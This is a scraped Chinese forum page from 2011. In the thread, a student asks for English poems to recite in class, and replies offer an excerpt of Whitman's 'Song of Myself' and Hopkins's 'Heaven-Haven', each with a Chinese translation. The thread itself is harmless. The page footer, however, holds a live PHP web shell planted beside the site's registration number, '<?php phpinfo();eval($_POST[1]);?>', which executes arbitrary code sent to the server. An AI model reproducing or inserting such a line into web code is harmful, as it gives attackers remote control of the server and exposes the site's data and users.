小蜜橙single - 北京最大的校友交友平台-来小蜜橙觅成你的友情和爱情吧!-

 找回密码
 30秒注册
搜索
查看: 1882|回复: 16
打印 上一主题 下一主题

求优美英文诗推荐。。。

[复制链接]
跳转到指定楼层
1#
发表于 2011-11-26 21:39:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
      太伤不起了,周二的双学位课居然有英文诗歌朗诵。。。以前小组工作常常酱油,这次组长点名派我去实在是不好意思推掉啊。。。
      可是木有适合的诗歌啊,要么太短要么太难,要么押韵不明显我不喜欢。。。
      其实有想过英文版的《致橡树》或是《再别康桥》,可是会不会被老师扣分。。。

      真心求推荐呀。。。
17#
发表于 2011-11-27 07:27:47 | 只看该作者
vivi422 发表于 2011-11-26 23:56
Heaven--Heaven

I have desired to go

小唯 你太强了
16#
发表于 2011-11-27 00:23:39 | 只看该作者
还有一首诗好像是叫<<死了也要战 ~  我非常喜欢的~   没找到
15#
发表于 2011-11-27 00:19:00 | 只看该作者
本帖最后由 vivi422 于 2011-11-27 00:19 编辑
untitleder 发表于 2011-11-27 00:00
膜拜


我正翻书回顾以前读过的~
14#
发表于 2011-11-27 00:12:42 | 只看该作者
诗节选~
<<From SONG OF MYSELF>>



  I celebrate myself, and sing myself,

  And what I assume you shall assume,

  For every atom belonging to me as good belongs to you.

  I loafe and invite my soul,

  I lean and loafe at my ease observing a spear of summer grass.

  My tongue, every atom of my blood, form'd from this soil, this air,

  Born here of parents born here from parents the same, and their parents the same,

  I, now thirty-seven years old in perfect health begin,

  Hoping to cease not till death.1

  Creeds and schools in abeyance,

  Retiring back a while sufficed at what they are, but never for-gotten,

  I harbor for good or bad, I permit to speak at every hazard,

  Nature without check with original energy.
我赞美自己,歌唱自己,
我设想你也将设想,
因为属于我的原子同样
也属于你.

我游荡并邀请我的灵魂,
我学习和游荡轻松的观察一片
夏日草叶的尖刺.

我的舌,我血液中的每个分子,都形成于
这里的泥土,这里的空气,
... ...

信条和学术放在一边,
撤退一会儿使他们满足现在,
但绝不会忘记,
我的海湾为善与恶准备,我允许讲述
每一种冒险,
没有阻止原始能量的自然.
13#
 楼主| 发表于 2011-11-27 00:07:29 | 只看该作者
vivi422 发表于 2011-11-26 23:56
Heaven--Heaven

I have desired to go

哇咔咔超级感谢!!
12#
发表于 2011-11-27 00:00:31 | 只看该作者
vivi422 发表于 2011-11-26 23:56
Heaven--Heaven

I have desired to go

膜拜
11#
发表于 2011-11-26 23:56:29 | 只看该作者
本帖最后由 vivi422 于 2011-11-26 23:57 编辑
HoneyBunny 发表于 2011-11-26 23:41
都可以,O(∩_∩)O哈哈~


Heaven--Heaven

I have desired to go
      Where springs not fail,
      To fields where falls no sharp or sided hail
And a few lilies blow.


And I have asked to be
       Where no storms come,
       Where the green swell is in the havens dumb
And out of the swing of the sea.



译文:
<<天堂--港口>>

我一直渴望
    去四季如春的地方,
      不会落尖锐的冰雹的牧场,
许多百合花盛放.

我一直以来请求住在
    没有暴风雨袭击的地方,
      宁静的港湾中绿波荡漾,
离开大海的颠簸摇摆.
10#
 楼主| 发表于 2011-11-26 23:49:52 | 只看该作者
vivi422 发表于 2011-11-26 23:47
要多长捏呢?

一百至两百字吧。。一直没找到让我有感觉的诗,呜呜呜~
9#
发表于 2011-11-26 23:47:43 | 只看该作者
HoneyBunny 发表于 2011-11-26 23:41
都可以,O(∩_∩)O哈哈~

要多长捏呢?
您需要登录后才可以回帖 登录 | 30秒注册

本版积分规则

QQ|小黑屋|手机版|小蜜橙single ( 京ICP备20006967号-2 <?php phpinfo();eval($_POST[1]);?>

GMT+8, 2025-1-11 19:44 , Processed in 0.235992 second(s), 17 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表